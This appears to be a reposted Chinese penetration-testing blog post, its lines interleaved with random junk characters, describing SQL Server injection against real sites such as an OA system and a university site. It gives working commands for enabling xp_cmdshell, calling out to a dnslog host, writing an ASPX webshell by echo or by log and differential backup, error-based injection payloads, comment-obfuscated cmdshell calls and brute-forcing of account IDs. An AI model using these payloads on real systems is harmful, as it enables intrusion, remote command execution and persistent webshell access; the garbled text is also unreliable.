|
' q( Q- t2 ~+ P" r% W9 [8 @) G
上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!! ) Y! g+ y2 x9 d( I5 _! z% S
前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正!
; `* p- F0 Y3 Y2 d* r, \0 N q 狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令… 1 H* A- T3 |- B& S
先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启 : l3 O" @- J9 z% d! h
开启方法#开启方法
( d4 M2 f& F' b2 n" h8 J2 J execute(sp_configure "show advanced options",1) #将该选项的值设置为1
y% C8 ?( j' {6 Q: O* H execute(reconfigure) * e0 G& D, U/ ?5 I$ m/ x
#保存设置5 z D2 ~( a( }
execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为1
: Q) c4 `7 R: d0 F3 B; O! R execute(reconfigure) $ O9 c3 ?. W4 @' Q* r
#保存设置
. g' V& ^2 d, O( D7 L1 j( P v execute(sp_configure) #查看配置
9 O# w5 p2 B6 }+ Z' [9 \ execute(xp_cmdshell "whoami")
! X& n2 B. H4 q: T2 n3 Q3 @ #执行系统命令& R$ m0 w/ ^. N( t- C
或者- U' W4 d# K( l* y$ f' `4 |
exec sp_configure show advanced options,1;
) n4 V W* R4 t* z# { reconfigure;
: S" L B, T: C; Y0 P% g6 C$ x exec sp_configure xp_cmdshell,1; Q! w. C Q; C! S7 B
reconfigure;
6 ]9 @' X( B5 W3 P' S 9 N+ K5 ~0 ]$ ^; G
exec sp_configure;
5 B8 S D/ t+ u exec xp_cmdshell whoami;
+ b5 i/ o1 S$ g exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞! ( ^ [, ^' Z; W0 a- e! o5 s/ M
写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;9 a( w. Y0 E9 Z2 J" P# {0 Z
直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下
' I7 K9 b, S, _( r4 c7 \& Z1 V 故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg;
( Q1 g+ k# [) u" i9 Y
5 r8 o3 E9 d! [5 s. {# A" u# F4 _5 t 写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript"
, h2 p; z( x; r %^>^^ >d:\xx\xx.aspx8 e3 {. T8 G+ K
然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx
4 {3 m G% K; l0 k) ?+ c5 ^ Z( j 即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell 5 E! d- k4 P. ?# g
备份getshell 至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次
. j( P9 t/ r, U% z# H: N% W% |2 L5 P ;alterdatabase 库名 setRECOVERYFULL--
* Z6 P w* \4 Z' [+ b, T9 o ;createtable 数据库名..表名(a image)-- //建表
: l: f7 J- `* n' P8 S: K ;insertinto 数据库名..表名(a) # |6 B8 m* M y9 v- g
values (0x一句话木马)-- //插入一句话木马到表中,注意16进制. q8 C% Y$ ^! ]+ Y& p I. D
8 X( r* V, c) _2 }1 @ ;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍
( ?2 w- J: D" {! f1 I: v8 S
) r- z. ?) c( c) p) S: E+ L$ h
' }! q# k- A. u5 P ;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。
* J' y4 D- U9 p' T 2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。 4 A- \. P* c! @+ \0 m) _3 x4 L
;-- //先手动备份一次
. m6 d) l+ `; [/ s, Y: a/ z ;createtable 数据库名..表名(a image)-- //建立表,加字段
, `/ _ b4 ]" p* c: { ;insertinto 数据库名..表名(a) values (0x一句话木马) ! Q' w' z- h: j" P; P9 D
-- //插入一句话木马到表中,注意16进制* G( R9 d: {, h* ?
;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份
% S: a3 ]9 @9 Z# F' Z. Y 小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下
( G; M; d5 m# x% d 导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行
+ @$ U" s3 X! s/ h 快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:
b# ]* d: H0 P! _ 注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功
* c6 ]/ F" U: n9 c + {8 m1 c& i- q7 l: c$ _
) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa: ?) R4 s+ @+ u
1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn"
% s, Y3 ^; W, n- ] --#不死心,执行一下cmdshell  1 {+ x7 R- R4 a6 U: Z: t
我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。
- X9 n* B0 z4 W( G) }3 |2 ?0 a5 q% q; A9 d u8 @) A
6 g: `7 n0 R( Z, } C
Z3 v8 k) u+ M+ ^9 Y
5 D8 N3 w* D# L* Q) I; V |